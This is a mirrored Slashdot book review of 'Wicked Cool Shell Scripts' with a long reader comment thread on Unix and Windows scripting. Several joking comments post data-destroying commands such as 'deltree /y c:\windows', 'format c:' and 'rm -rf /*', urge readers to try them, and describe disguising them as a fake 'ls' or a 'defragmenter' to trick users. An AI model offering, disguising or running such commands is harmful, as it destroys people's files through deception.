Slashdot Mirror


Wicked Cool Shell Scripts

norburym writes with a review of Wicked Cool Shell Scripts - 101 Scripts for Linux, Mac OS X, and UNIX Systems. "This incredibly fun book (really!), written by Dave Taylor, a veteran UNIX, Solaris and Mac OS X author, is chock full of 101 scripts to customize the UNIX (Bourne) shell." Read on for the rest. Wicked Cool Shell Scripts - 101 Scripts for Linux, Mac OS X, and UNIX Systems author Dave Taylor pages 368 publisher No Starch Press rating 10 reviewer Mary Norbury-Glaser ISBN 1593270127 summary 101 Scripts for Linux, Mac OS X, and UNIX Systems

Chapters are divided into an array of topics sure to catch the attention of any UNIX based system user: The Missing Code Library, Improving on User Commands, Creating Utilities, Tweaking Unix, System Administration: Managing Users, System Administration: System Maintenance, Web and Internet Users, Webmaster Hacks, Web and Internet Administration, Internet Server Administration, Mac OS X Scripts, and Shell Script Fun and Games.

In true "cookbook" fashion, each hack is numbered and divided into The Code, How It Works, Running the Script, The Results and Hacking the Script. Throughout, the author clearly describes the syntax and functionality of each script, often with additional notes in How It Works detailing the syntax process and interesting asides. But Hacking the Script is what gives Wicked Cool Shell Scripts true value; where applicable, the author uses this section to describe script modifications to achieve a variety of alternative real world, practical results. This additional section alone easily triples the total number of scripts the reader is exposed to.

This book enables the reader to get "up close and personal" with their UNIX based system and explore the possibilities afforded by becoming intimate with the command line interface. The reader will find themselves easily propelled into the world of scripting, thanks entirely to Dave Taylor's ability to take what some might describe as a fairly dry topic and translate it into a logical and user friendly construct. Just reading through the table of contents is inspiring and intriguing; did you know you could write a script to retrieve movie info from IMDb? or track the value of your stock portfolio? or that you can use a very simple script to check spelling on your web pages?

Sysadmins and webmasters will find this book fundamentally critical to day-to-day operations; there are dozens of invaluable, customizable scripts highlighted in this book to enable professionals to save time and add simple, elegant solutions to annoying issues in their work environment. User account management, rotating log files, cron scripts, web page tweaks, apache passwords, synchronizing via ftp, etc. are all eminently useful and tweakable.

Geeky home users will discover they can use these scripts to work with files and directories, create spell-checking utilities, calculate loan payments, create summary listings of their iTunes libraries, and of course, play games. Many of the sysadmin scripts would also be of interest to the power user: analyzing disk usage, killing processes by name and backing up directories, to name a few. Both types of users will find this book inspiring and truly fun!

One of the secret pleasures of a technical book reviewer is finding those wonky bits of code that suffer from misplaced or missing punctuation, misspelled words and other basic typographic errors inherent in the book publishing process. I randomly selected many of these scripts to try out in the process of doing this review and...dang, haven't found any errata yet. But be sure to check out the errata page on Dave Taylor's web site for any that more astute readers may find (there were none, as of this writing).

Also be sure to take a closer look at Dave's shell script library, which lists additional scripts that didn't make the cut for the book. As convenient as it is to download the entire script library, I would like to stress the value of buying the book, which will provide you with invaluable instruction and guidance in understanding the syntax of the scripts and it also illustrates how making small but significant tweaks can modify the output to match your specific needs.

(A special nod of appreciation to Dave Taylor's Tintin references!)

You can purchase Wicked Cool Shell Scripts - 101 Scripts for Linux, Mac OS X, and UNIX Systems from bn.com. Slashdot welcomes readers' book reviews -- to see your own review here, read the book review guidelines, then visit the submission page.

569 comments

  1. What about us Windows users?! by Anonymous Coward · · Score: 4, Funny

    I could use some wicked cool batch files.

    1. Re:What about us Windows users?! by prgrmr · · Score: 5, Informative

      Get a copy of Windows Admin Scripting Little Black Book, or something similar. I got a copy of the first edition at Borders for $5, you may find similar on ebay or half.com.

    2. Re:What about us Windows users?! by Anonymous Coward · · Score: 3, Funny

      We can start our own batch scripting book here on slaashdot!!! follow up with posts people, we will have a book by the end of the thread.. heres the first REALLY COOL windows batch command

      deltree /y c:\windows

      OR if ur NT based

      deltree /y c:\winnt

      Everyone try it! Enjoy!

    3. Re:What about us Windows users?! by Anonymous Coward · · Score: 0

      I prefer rd C:\windows/s/q

    4. Re:What about us Windows users?! by josefcub · · Score: 3, Interesting

      It's a little outdated, but Running MS-DOS by Van Wolverton, along with Supercharging MS-DOS by the same author not only contain basic DOS (and Windows) CLI tutorial information, but contain lots of batch-file examples, and uses for such batch files. I found them very handy learning MS-DOS (and nowadays, Windows) when I was younger.

      --
      Bleakness... Desolation... Plastic Forks...
    5. Re:What about us Windows users?! by Anonymous Coward · · Score: 0

      I prefer

      format c: /autotest

      What does it do? Try it!

    6. Re:What about us Windows users?! by foistboinder · · Score: 5, Funny

      Just use cygwin.

    7. Re:What about us Windows users?! by ncc74656 · · Score: 4, Informative
      I could use some wicked cool batch files.

      Cygwin is your friend. For just one example, you can write a script that uses sed to extract information from the filenames of your mp3z and feed the results into id3ed to tack on an ID3 tag. Try doing that with a batch file.

      --
      20 January 2017: the End of an Error.
    8. Re:What about us Windows users?! by freeze128 · · Score: 5, Funny

      I know where you can get a wicked cool .PIF file... Hold on, I'll email it to you. Look for the subject "Your Details".

    9. Re:What about us Windows users?! by muckdog · · Score: 1

      Good luck making a customer install it so they can run your wicked cool install script :(

    10. Re:What about us Windows users?! by The_K4 · · Score: 1

      Any book on VBscripting will do. It's not as cool as shell scripting, but if you need to administer a couple of windows boxes, it's the way to go.

    11. Re:What about us Windows users?! by Xenographic · · Score: 0

      Bah, do it the easy way!

      deltree /y %windir%

      For all your annoying newbie newbie-annoying needs :P

    12. Re:What about us Windows users?! by Anonymous Coward · · Score: 0

      I highly recommend Microsoft Windows Services for UNIX.

      -Bill

    13. Re:What about us Windows users?! by Cthefuture · · Score: 1

      Or even better: MSYS

      This way you don't get all that bloaty API stuff since it's using the Win32 API more directly.

      --
      The ratio of people to cake is too big
    14. Re:What about us Windows users?! by Anonymous Coward · · Score: 0

      That doesn't demonstrate the power of shell scripts so much as the power of sed.

      Also, in Windows, .cmd scripts are better.

    15. Re:What about us Windows users?! by sp00 · · Score: 0, Redundant

      1 line... format C:

    16. Re:What about us Windows users?! by denis-The-menace · · Score: 2, Informative

      Save your dime and go here.
      http://www.robvanderwoude.com/

      --
      Obama's legacy: (N)othing (S)ecure (A)nywhere and (T)error (S)imulation (A)dministration
    17. Re:What about us Windows users?! by zonker · · Score: 1, Informative

      I know you're joking, but try WilsonWindowWare's (remember them from the old days?!) WinBatch. If you can get around the pricetag for the compiler ($99, not too bad), you'll find a really cool utility...

    18. Re:What about us Windows users?! by Ark42 · · Score: 3, Interesting

      Somewhere I found a standalone sh.exe that is only 344K and can be run from the command line just like:
      C:\> sh.exe myscript.sh

    19. Re:What about us Windows users?! by Anonymous Coward · · Score: 0

      can you do vb scripting without requiring a compiler or interpreter? i mean can you do anything besides batch files (or use a unix environment) in windows without having to pay microsoft taxes?

    20. Re:What about us Windows users?! by sharkdba · · Score: 2, Interesting

      Just use cygwin.

      Someone educate me: why is this considered funny? Cygwin emulates *nix pretty well, most of the bash commands/utilities are part of it (if you chose to install them), so it's a good playing ground for bash scripts within Windows.

      --
      The purpose of life is to find the purpose of life.
    21. Re:What about us Windows users?! by Anonymous Coward · · Score: 0

      WSH is a free download from MS so please STFU untill you know what you are talking about.

    22. Re:What about us Windows users?! by segment · · Score: 3, Funny

      lynx -dump www.infiltrated.net/wtf|\
      grep "+-"|\
      sed 's/\\//g;s/\// /g;s/\&//;s/-/ /g'|\
      awk '{print $2,$3,$4,$5}'|\
      sed 's/ //g'

    23. Re:What about us Windows users?! by Anonymous Coward · · Score: 0

      You've never actually *used* cygwin have you? Cause if you had, you'd have got the very funny joke.

    24. Re:What about us Windows users?! by grub · · Score: 0

      ..but to use this "free download" one must have first paid the MS tax for the operating system to run it on.

      --
      Trolling is a art,
    25. Re:What about us Windows users?! by Anonymous Coward · · Score: 3, Interesting

      Exactly. What makes shell scripts so much better on Unix isn't really the shell, it's the flexibility of the programs that come with a Unix.

      Take the DELETE command. It has trouble deleting multiple files at a time. It can't delete directories. Then look at Unix rm. It's easy to see why batch files are a joke.

      The shell itself is definitely more flexible overall, though. Definitely more scriptable. The Bourne way of doing conditions, loops, pipes and whatnot are definitely more intuitive, more flexible, and carry less baggage than command.com or cmd.exe.

      Fact is, Windows's shell has its roots in the idea of a single-tasking, interactive shell, with a user typing at it. Most of the "scripting" features seem to be tacked on later. Obviously, today it runs on a full multi-tasking OS, but the shell itself has yet to really catch up with that idea. (Did they implement job control yet?)

    26. Re:What about us Windows users?! by Anonymous Coward · · Score: 1, Funny

      Was it attached to a e-mail with
      "Subject: I Love You"?

    27. Re:What about us Windows users?! by EvilFrog · · Score: 1

      If you're installing your software for Windows from a shell script, your customer isn't going to be happy whether you're using Cygwin or not.

    28. Re:What about us Windows users?! by jamshid42 · · Score: 1

      Actually, I did convince a customer to install Cygwin once in order to assist in a data collection effort on their network. The scripts we wrote were quite ugly (especially the ones that called upon other Windows-based commands), but they were efficient and accurate enough to get all of the data that we needed to complete the project.

      --
      /. - Proof that Sturgeon's Law is true...
    29. Re:What about us Windows users?! by kin_korn_karn · · Score: 4, Funny

      this reminds me of when I used to hang out on IRC and set the channel topics to "press ALT-F4 for ops!" Half the channel would drop

    30. Re:What about us Windows users?! by Anonymous Coward · · Score: 1, Informative
      "Wicked cool" and "Windows" just don't go together....

      Aw, c'mon, what about all those wicked cool games you can play on it? Windows sucks, but it's not totally useless...

    31. Re:What about us Windows users?! by Anonymous Coward · · Score: 1, Informative

      A great book for Windows is Que's "Windows XP Under the Hood", by Brian Knittel. It's divided into two parts: (1) all about making the most of the CMD.EXE batch language (which has come a looong way since DOS or Win95 and is seriously much more powerful than you probably suspect), and (2) using various scripting languages (mostly VBScript, but also enough to get you started with JScript, ActivePerl, ActivePython, and REXX) with the Windows Script Host (WSH) and making it do all kinds of cool stuff with the many COM/OLE automation objects that come with WinXP. It's well-written and covers the material from the beginning, suitable for readers who preferably have some programming experience but are totally new to the whole Windows scripting and COM/OLE thing.

    32. Re:What about us Windows users?! by randomizer · · Score: 1

      I downloaded some GnuTools compiled for Windows and used them yesterday when I couldn't figure out how to do the equivalent of: du -hS ./ in Windows.

    33. Re:What about us Windows users?! by norite · · Score: 1
      That's what so incredibly funny about Microsoft. They claim to be innovators, yet they had DOS for all those years - bought off the shelf, mind, not actually created by MS - and they could have done soooo much with it! They could have made it multi user, multitasking, etc. made it into a real OS.

      It's always so funny going back to a DOS prompt after using a *NIX shell for a while. DOS just seems so crippled, limited and inflexible, LMAO!

      --
      -- Fuck Beta
    34. Re:What about us Windows users?! by rduke15 · · Score: 1

      I could use some wicked cool batch files.

      Forget "batch files", and simply get the Windows version of wicked cool .

      (Seriously!)

    35. Re:What about us Windows users?! by Anonymous Coward · · Score: 0

      MSys from the MinGW project is a good alternative to Cygwin too. Light weight, easier to setup, and fairly extensible.

    36. Re:What about us Windows users?! by segment · · Score: 1

      wget -qO - http://www.microsoft.com | \ sed -e :a -e 's/]*>//g;//N;//ba' | \ sed -n '308p' | \ awk '{print $4,$5 "... Tell me another one"}'

    37. Re:What about us Windows users?! by Tony-A · · Score: 1

      Someone educate me: why is this considered funny?

      I'm no expert but have mucked around with it a bit.
      With great skill and effort, Cygwin allows you to use a good Microsoft Windows computer as a poor Unix computer. And for that, the developers deserve high praise.
      Cygwin make Microsoft Windows useable, well almost at least.

      The problem is that it's really Microsoft Windows underneath and it shows through occasionally.

    38. Re:What about us Windows users?! by Osty · · Score: 5, Informative

      Exactly. What makes shell scripts so much better on Unix isn't really the shell, it's the flexibility of the programs that come with a Unix.

      That's true, but the fallacy is that you're assuming Windows should be scripted in the same fashion as *nix. That's simply not the case. Batch/Command scripting is nice for small bits, and can actually be fairly powerful in an obtuse sort of way, but the real power in automating Windows comes by using the Windows Scripting Host, JScript or VBScript, and all of the ActiveX/COM interfaces into the functionality of the OS and other applications. A classic example is iterating through users. In *nix, you write a shell script to parse through /etc/passwd. In Windows, you write a jscript to instantiate the objects that deal with Active Directory, and iterate through user objects (each of which you can perform actions upon, wherein *nix you'd have to invoke other applications). One approach is not necessarily "better" than the other, but you can't assume that your *nix administration experience will directly translate into Windows administration. You'd laugh if a Windows admin felt the reverse was true. What really gets me is when people complain about Windows not being automation-friendly because they're used to *nix scripting. Yes, you cannot pipe notepad.exe into winword.exe, for example, but Word has a very rich automation interface that you can hook into and use from a simple JScript.


      Take the DELETE command. It has trouble deleting multiple files at a time. It can't delete directories. Then look at Unix rm. It's easy to see why batch files are a joke.

      What? Try running "help del" from a cmd.exe window some time. Also, look at "help rd". If you want to remove a directory tree, you use the "remove directory" command. "del" deletes files. "rd" deletes directories (and can delete files within directories if you tell it to).


      The shell itself is definitely more flexible overall, though. Definitely more scriptable. The Bourne way of doing conditions, loops, pipes and whatnot are definitely more intuitive, more flexible, and carry less baggage than command.com or cmd.exe.

      Consider cmd.exe to be the functional equivalent of csh. It's a decent interactive shell, and has some good functionality (especially later versions of cmd.exe in win2k and xp), but you'd have to be nuts to do any extensive scripting with it. Just as you'd pull out bash or perl to do more complex tasks in *nix rather than using csh, you should use WSH in Windows for more complicated tasks.

    39. Re:What about us Windows users?! by The_K4 · · Score: 1

      Well the grandparent (whom I was originally replying to) askked about Windows and Scripting. So you DO have to have a sopy of windows, but the WSH is build into 2K and XP and 2k3 by default. So it doesn't cast any more then the OS and since this person asked about scripting for windows, the implication was that they already HAD windows.

    40. Re:What about us Windows users?! by mnmn · · Score: 1

      I have used Activestate's perl with windows ADSI Active Directory stuff on our Win2k network with things like one-shot startup scripts, background MSI installs, and gathering hardware and software inventory by batch querying everyones registry.

      Start out with VBscript to learn the very wacky internals of Windows scripting, the move on to using perl for some serious power. God willing one day we could just install Linux/BSD and be done with it.

      --
      "Give orange me give eat orange me eat orange give me eat orange give me you." -Nim Chimpsky
    41. Re:What about us Windows users?! by tootlemonde · · Score: 2, Interesting

      Try GNU utilities for Win32

      Forward as well as backward slashes in file paths are accepted.

    42. Re:What about us Windows users?! by JacobO · · Score: 1

      Nowadays that would be "rd /s /q c:\windows" but don't let that detract from your appreciation of the parent comment.

    43. Re:What about us Windows users?! by Anonymous Coward · · Score: 0

      sh only 344k. Wow, only ten times as big as a PDP-11's total memory.

    44. Re:What about us Windows users?! by hekal · · Score: 1

      rem DOS sux
      @echo off :DOSsux1
      goto DOSsux2 :DOSsux2
      goto DOSsux1

    45. Re:What about us Windows users?! by hekal · · Score: 1

      stupid ass html formatting

      rem DOS sux

      @echo off
      :DOSsux1

      goto DOSsux2
      :DOSsux2

      goto DOSsux1

    46. Re:What about us Windows users?! by wideBlueSkies · · Score: 1

      Or if you use that UNIX Services for Windows package that Microsoft has been handing out lately, you can:

      rm -fr /dev/fs/C/winnt

      Ah, UNIX and Windows integration. Gotta love it.

      wbs.

      --
      Huh?
    47. Re:What about us Windows users?! by OneArmedMan · · Score: 1

      I am a Windows user. trying to learn Linux. My box at home is dead ( PSU blew up ) .

      So my only *nix atm is via Cygwin on my work machine running XP.

      so i get everything working .. now imagine my supprise when i get
      *
      WindozeAreTeHSuck
      *
      after running that code.. But hey, it was to be expected, after all this is /. :D

    48. Re:What about us Windows users?! by forgotmypassword · · Score: 1

      Consider cmd.exe to be the functional equivalent of csh.

      I should just kill you right now.

      Wow, did that just slip out.? Sorry, I don't know what just happened.

    49. Re:What about us Windows users?! by Anonymous Coward · · Score: 0

      after running that code

      Rule Number 1: don't run code if you don't know what it does. Most scripting languages have a function that will allow it to execute programs like you'd typed the program name into the shell. In awk (gawk, at least), that function is ``system().'' It's child's play to craft a regular expression to grab a string like ``rm -rf /'' (deletes all files under your root directory), then execute it with awk's system function.

      If that had been a malicious code snippet, you'd have erased all your files. Consider that the next time you test a JAPH you find on the web.

    50. Re:What about us Windows users?! by Anonymous Coward · · Score: 0

      There's a social position: Violently pro-Microsoft, and its funky scripting engine.

    51. Re:What about us Windows users?! by Liger+Zero+Phoenix · · Score: 1

      C:\>deltree /?
      'deltree' is not recognized as an internal or external command,
      operable program or batch file.

    52. Re:What about us Windows users?! by BlueWire · · Score: 1

      ...we don't need no stinking batches!

      --
      Yes, but whats that got to do with the price of tea in D'ni?
    53. Re:What about us Windows users?! by Perky_Goth · · Score: 1

      true, that's why i just looked at the replies... ;)
      but i don't think sed and awk can do that...

    54. Re:What about us Windows users?! by cscx · · Score: 1

      C:\WINNT>deltree /y c:\winnt
      'deltree' is not recognized as an internal or external command,
      operable program or batch file.

    55. Re:What about us Windows users?! by mrmez · · Score: 1

      http://www.knopper.net/knoppix-mirrors/index-en.ht ml

    56. Re:What about us Windows users?! by jamesh · · Score: 2, Funny

      double click on 'My Computer'
      double click on 'C:'
      locate the 'winnt' folder
      hold down the shift key, and while doing that, right click on the 'winnt' folder and select 'delete'.
      answer 'Yes' or 'Yes to all' to any questions asked.

      see. much easier than a command line.

    57. Re:What about us Windows users?! by Anonymous Coward · · Score: 0
      Bah!

      C:\>rd /s /q %windir%
    58. Re:What about us Windows users?! by RajivSLK · · Score: 1

      That's what so incredibly funny about Microsoft. They claim to be innovators, yet they had DOS for all those years - bought off the shelf, mind, not actually created by MS - and they could have done soooo much with it! They could have made it multi user, multitasking, etc. made it into a real OS.

      Come on, I dislike MS as much as the next /.er but blaming MS for not improving dos? Hmmm, MS could focus on developing Windows 3.1/95/NT etc and make billions of dollars OR improve DOS?!? Clearly they are stupid and should have improved DOS.

    59. Re:What about us Windows users?! by jamesh · · Score: 1

      You're oversimplifying it:

      Click 'Start'
      Click 'All Programs'
      Click 'Accessories' ... wait for command prompt to pop up... (we know you've never used it :)
      Click 'Command Prompt'
      type 'r'
      type 'd'
      type ' '
      type '/' (under the question mark, next to rshift)
      type 's'
      type ' '
      type '/'
      type '%' (on top of 5 :)
      type 'w'

      etc
      etc

      (you know i'm joking. i'd settle for the command prompt as my default shell rather than the normal desktop!!!)

    60. Re:What about us Windows users?! by ComaVN · · Score: 1

      or, for the slightly more seasoned users, ALT-F-X for cool graphics.

      --
      Be wary of any facts that confirm your opinion.
    61. Re:What about us Windows users?! by Imperator · · Score: 1

      I have an improvement!

      deltree /y %windir%

      (open source at work)

      --

      Gates' Law: Every 18 months, the speed of software halves.
    62. Re:What about us Windows users?! by superhoe · · Score: 2, Funny
      Almost as good as good old (ancient, actually) cross-platform one:

      /quit and /exit sat on a bench. /exit left for a dinner. Who was still sitting on the bench?

      *** zzzz has quit IRC (bye)
      *** yyyy has quit IRC (I RCOK)
      *** aaaa has quit IRC (visit goatse)
      *** bbbb has quite IRC (r0xx0r)

      --

      -el

    63. Re:What about us Windows users?! by norite · · Score: 1

      By improving DOS, (e.g. multitasking, multiuser, file permissions, and so on) they could have paved the way for a better and stabler foundation for Windows - Windows 3.1, 95/8/ME was a "multitasking" OS riding atop a single tasking, single user OS. From an engineering point of view, that doesn't seem very stable to me. Like trying to balance a dinner plate using a single chopstick. Instead MS just seemed to hack their way through things, rather than re-write stuff...

      --
      -- Fuck Beta
    64. Re:What about us Windows users?! by NurseMaximum · · Score: 1

      If you don't want the whole of Cygwin in there, you could always go for the standalone Win32 ports of various n*x command line tools in GnuWin32.

      Having 'tail' and 'sed' available at work is a godsend.

      --
      Who meta-moderates the meta-moderators?
    65. Re:What about us Windows users?! by Greg+W. · · Score: 1
      C:\tmp>del ebase.doc phoenix-0.2-win32.zip
      Too many parameters - phoenix-0.2-win32.zip

      C:\tmp>ver

      Windows 95. [Version 4.00.1111]

      C:\tmp>
    66. Re:What about us Windows users?! by Diomidis+Spinellis · · Score: 1
      Download and install outwit. Outwit is a suite of tools based on the Unix tool design principles allowing the processing of Windows application data with sophisticated data manipulation pipelines. The outwit tools offer access to the Windows clipboard, the registry, the event log, relational databases, document properties, shell links, and the event log.

      As an example, you can change all registry entries pointing to a user's home directory by running

      winreg HKEY_CURRENT_USER |
      sed -n 's/C:\\home/D:\\home/gp' |
      winreg
      A Usenix technical conference paper describes the tools and a number of applications.

      #include "/dev/tty"

    67. Re:What about us Windows users?! by Osty · · Score: 1
      C:\crap\test>echo blahblah > foo.txt

      C:\crap\test>echo blahblah > bar.doc

      C:\crap\test>dir
      Volume in drive C has no label.
      Volume Serial Number is ACAF-21D1

      Directory of C:\crap\test

      03/11/2004 01:24 PM <DIR> .
      03/11/2004 01:24 PM <DIR> ..
      03/11/2004 01:24 PM 11 bar.doc
      03/11/2004 01:23 PM 11 foo.txt
      2 File(s) 22 bytes
      2 Dir(s) 27,048,476,672 bytes free

      C:\crap\test>del foo.txt bar.doc

      C:\crap\test>dir
      Volume in drive C has no label.
      Volume Serial Number is ACAF-21D1

      Directory of C:\crap\test

      03/11/2004 01:24 PM <DIR> .
      03/11/2004 01:24 PM <DIR> ..
      0 File(s) 0 bytes
      2 Dir(s) 27,048,476,672 bytes free

      C:\crap\test>ver

      Microsoft Windows XP [Version 5.1.2600]

      C:\crap\test>

      Try using a modern version of the operating system before bitching, next time.

    68. Re:What about us Windows users?! by OneArmedMan · · Score: 1

      So noted .. but when you are trying to learn that does make things kind of hard..

      by that logic,

      dont do anything unless you are a Guru on everything..

      i did get your point tho.

    69. Re:What about us Windows users?! by Anonymous Coward · · Score: 0

      You can do this and a lot more without a bloaty Cygwin download, by getting foobar2000 for Win32 with its nifty masstagger/renamer.

  2. Woo by System.out.println() · · Score: 4, Funny

    And here I thought I was done with buying books.

    *Bookmarks this page for when I get money*

  3. the best shell script by donnyspi · · Score: 3, Funny

    contains one line:
    rm -rf *

    1. Re:the best shell script by Anonymous Coward · · Score: 0

      umm... does that install "Wicked Cool" scripts???

    2. Re:the best shell script by webtre · · Score: 0

      Sorry, you are wrong. This is the one:

      cat SCOX > /dev/null

      --
      litigious bastards
      suck it sco!
    3. Re:the best shell script by Anonymous Coward · · Score: 0

      actually, rm -rf /

    4. Re:the best shell script by u01000101 · · Score: 5, Funny

      rm -rf *

      A better idea is to write "rm -rf ~/*", name the script "ls" and put it in your home directory to punish people with "." in $PATH . Now _that's_ teh funnay. :)

      --
      if you use a good enough junk-filter, slashdot.org will display a single, *blank*, page
    5. Re:the best shell script by Anonymous Coward · · Score: 0

      does this install "Wicked Cool" scripts as well???

    6. Re:the best shell script by ValentineMSmith · · Score: 1
      You forgot a character:

      rm -rf /*

      Granted, it's not that much fun unless you run it as root, but I'm sure you don't have a standard user account on your box, do you?

      --
      Karma: Chameleon - mostly influenced by bad '80s New Wave music
    7. Re:the best shell script by drooling-dog · · Score: 0, Redundant
      rm -rf *


      Yes, that's very amusing, but remember that there could be some newbies reading this that just might try it out.

      But then, I guess that's what makes it funny...

    8. Re:the best shell script by Anonymous Coward · · Score: 0

      Almost as good is

      echo "s" > s ; chmod +x s ; ./s :)

    9. Re:the best shell script by Dr.+Zowie · · Score: 1

      Actually, rm -rf .* works considerably better -- it "sees" .. as well as your visible files.

    10. Re:the best shell script by Anonymous Coward · · Score: 0

      alias ls 'rm -rf ~/*'

      that should do the trick

    11. Re:the best shell script by Mr+Slushy · · Score: 4, Funny

      rm -rf /

      One of the reasons I love unix, is that it will let you shoot yourself in the foot, and it will steady the gun while you take aim at your toe.

      --

      S.E.S.S.D.E.N.E.E.NW from west end of hall of mists

    12. Re:the best shell script by urrbanlleg-end · · Score: 1

      Here is my favourite, the shell script time bomb !

      echo "echo \"echo \\\"echo \\\\\"rm -rf / > $0 \\\\\" > $0 \\\" > $0\"" > $0

    13. Re:the best shell script by Anonymous Coward · · Score: 0

      Windows is the lazy alternative, because Windows pulls the trigger.

    14. Re:the best shell script by Anonymous Coward · · Score: 0

      That would only works if in $PATH "." occurs before the directory where the real "ls" resides.

    15. Re:the best shell script by u01000101 · · Score: 1

      only works if in $PATH "." occurs before the directory where the real "ls" resides

      So true, A.C.... but that means I only punish the really stupid, not just the careless guys.

      --
      if you use a good enough junk-filter, slashdot.org will display a single, *blank*, page
    16. Re:the best shell script by Anonymous Coward · · Score: 3, Interesting

      A cool way to avoid accidentally doing an rm -rf * in a directory is to create a file called -i in the directory. -i comes alphabetically before most other stuff so it acts as a parameter to rm and it prompts you before deleting each file.

    17. Re:the best shell script by u01000101 · · Score: 1

      No, in the contex I wrote about, "rm -rf .*" tries to delete everything in _my_ home directory. You mean "rm -rf ~/.*" ...

      --
      if you use a good enough junk-filter, slashdot.org will display a single, *blank*, page
    18. Re:the best shell script by Mr_Icon · · Score: 1

      alias renice='kill -9'

      --
      If you open yourself to the foo, You and foo become one.
    19. Re:the best shell script by Billly+Gates · · Score: 1

      How about $wget http://goatse.cx/hello.jpg | mozilla&. Name that script "ls" as a practical joke.

      This wont do any damage unlike the rm command but would rather freak out your friends and make them go blind instead. :-) ... This assumes of course that X is open.

      PS for those who are not familiar with Linux or Unix do not execute the previous posters script that includes RM it will delete critical files.

    20. Re:the best shell script by Anonymous Coward · · Score: 0

      rm -rf -- * would get past that

    21. Re:the best shell script by Dr.+Zowie · · Score: 1

      No, actually, I meant rm -rf .* -- that works pretty good on your home directory too, no matter where you run it :-)

    22. Re:the best shell script by pseudochaotic · · Score: 1

      But at least you won't do it accidentally, as happened to me recently. rm -rf * .gif rm: Cannot remove .gif: No such file or directory

      --
      And the l33t shall inherit the 34r7h.
    23. Re:the best shell script by Anonymous Coward · · Score: 0

      Wouldn't want you windoze users to feel left out...=)

      Try:

      format c:

      And of course, for all you bilingual types, I hear that fdisk scripts can do wonders for both windows and unix types...;-)

    24. Re:the best shell script by Anonymous Coward · · Score: 0
      Yup, tis pretty useful for that..

      In fact, you can alias your mkdir to
      mkdir $1 ; cd $1 ; touch --i; cd -
    25. Re:the best shell script by alchemist68 · · Score: 2, Funny

      No, no, no! You have it all wrong!

      Put this into a shell script and call it "HardDisk_Defragmenter":

      sudo srm -rf /*

      and be sure to mention to the user that the adminsitrative password is required to access this little-used utility and that it is 'normal' to hear the hard drive crunching for a while. Explain that 'srm' is preferred over 'rm' to make sure that every file, including the system files, are defragmented.

      If you don't know the difference between 'srm' and 'rm' on Mac OS X, then go to an Apple store, or a friend's Macintosh, and 'man srm' for details. 'srm' is a nifty secure delete for files. If no other parameters are specified, srm uses the Guttman algorithm to securely overwrite the same area of the hard disk 35 times before unlinking that location with the file name; the U.S. Department of Defense-compliant secure delete uses a 7-pass overwrite algorithm. Go Apple!

      If someone disguised this command sequence as an AppleScript or shell script, truly, this would be pure EVIL!

    26. Re:the best shell script by Anonymous Coward · · Score: 0

      What's wrong with having "." in my $PATH?

      Really...I don't know. I always have "." in my path on Windows.

      What's the big deal with this on Linux?

    27. Re:the best shell script by EvilMal · · Score: 1

      A way to avoid completely screwing over your data when you accidentally delete stuff, I find, is to use libtrash.

      It uses LD_PRELOAD to override alot of file destroying commands like unlink() or even fopen() so it sends them to a designated trash can directory instead, where you can delete them later. It's saved my files more times than I can remember.

    28. Re:the best shell script by jageryager · · Score: 1

      Dude;

      mozilla ( at least the version I'm running ) doesn't take input from standard in.

      Lame..

      --
      "They that give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety"-B.Franklin
    29. Re:the best shell script by HermanAB · · Score: 1

      1001 uses of the Remark (rm) command...

      --
      Oh well, what the hell...
    30. Re:the best shell script by cloudmaster · · Score: 1

      Also, wget doesn't put the file on stdout.

      lynx -dump $domain | display

      I think...

    31. Re:the best shell script by Greg+W. · · Score: 1

      No. The way to avoid screwing over your data when you accidentally delete stuff is to make backups of your data on a regular basis.

      And learn not to type "rm" so hastily. Your LD_PRELOAD and "alias rm='rm -i'" bullshit tricks will come back and bite you in the ass as soon as you move to another system where they aren't there.

  4. sounds cool by 74nova · · Score: 4, Interesting

    i like shell scripting. i dont know why, it just seems more enjoyable than programming big apps in java or c++. maybe its just the size, they are done sooner. i use a script that upon booting writes the new IP on a dynamic IP machine to the httpd.conf file, i thought that was kinda cool. nothign complicated, just necessary.

    --
    use your turn signal! you people act like it's divulging information to the enemy
    1. Re:sounds cool by martin_b1sh0p · · Score: 1

      Cool. I wrote a couple of awk and expect scripts along with a cron job that checks my router's IP address (outside addy given to me by my ISP) every hour and sends me an email whenever it changes. When it does change (maybe twice a year) I go to my domain forwarding service and update it :-) If I was really /. material I'd have the script do the last part as well!

    2. Re:sounds cool by jjares · · Score: 1

      I actually did a little perl script that checks when the ip changes, and connects via web to my offsite dns web admin interface and updates it :-)

    3. Re:sounds cool by jafac · · Score: 3, Insightful

      It's because you have to be creative to solve problems. Not every handy little function is handed to you in some massive library. Sometimes, you have to do some really klugy, ugly things to get it to work. And that's fun.

      --

      These are my friends, See how they glisten. See this one shine, how he smiles in the light.
    4. Re:sounds cool by Brandybuck · · Score: 2, Funny

      Shell scripts are wickedly cool. Much better than C, C++ or Java. Almost as cool as Ruby!

      No one expects you to comment your shell scripts. No one expects you to account for corner cases. If they don't work you can blame bash and insist they install ksh instead. And people won't think you're a real programmer, so they won't assign that nasty driver bug to you. And you can obfuscate them almost as much as Perl!

      --
      Don't blame me, I didn't vote for either of them!
    5. Re:sounds cool by Anonymous Coward · · Score: 0

      The root of your problem is debugging... shell scripts don't require much work to debug, well not nearly as much as a full blown C++ prog.

    6. Re:sounds cool by titusjan · · Score: 1

      i like shell scripting.

      Then why don't you give the following script a try, you might find it useful. Make sure you run GNU sed though.

      sed -e 's/\. ./\U&/g' -e 's/^./\U&/g' -e 's/ i[ ,]/\U&/g' your_post.txt

    7. Re:sounds cool by Anonymous Coward · · Score: 0

      I did something very similar except it ftp's to some webspace I have where it modifies a link to my IP address.

    8. Re:sounds cool by Anonymous Coward · · Score: 0

      And you can obfuscate them almost as much as Perl!


      Are you calling me out?

      Sd/- Larry Wall

    9. Re:sounds cool by Anonymous Coward · · Score: 0

      If that rocks your boat why not start programming in INTERCAL?

    10. Re:sounds cool by Zak3056 · · Score: 1

      No one expects you to comment your shell scripts.

      On a serious note, this is decidedly untrue. I've written scripts (and batch files) that had to go through code reviews, and 30-40% of the total lines ended up being comments.

      --
      What part of "shall not be infringed" is so hard to understand?
    11. Re:sounds cool by Anonymous Coward · · Score: 0
      Sometimes, you have to do some really klugy, ugly things to get it to work. And that's fun.

      And you think everything you need to do in Java has already been solved by (bloated) standard libs? Nah, kludges are needed in any and all programming environments. In some sooner, in some later.

    12. Re:sounds cool by myowntrueself · · Score: 1

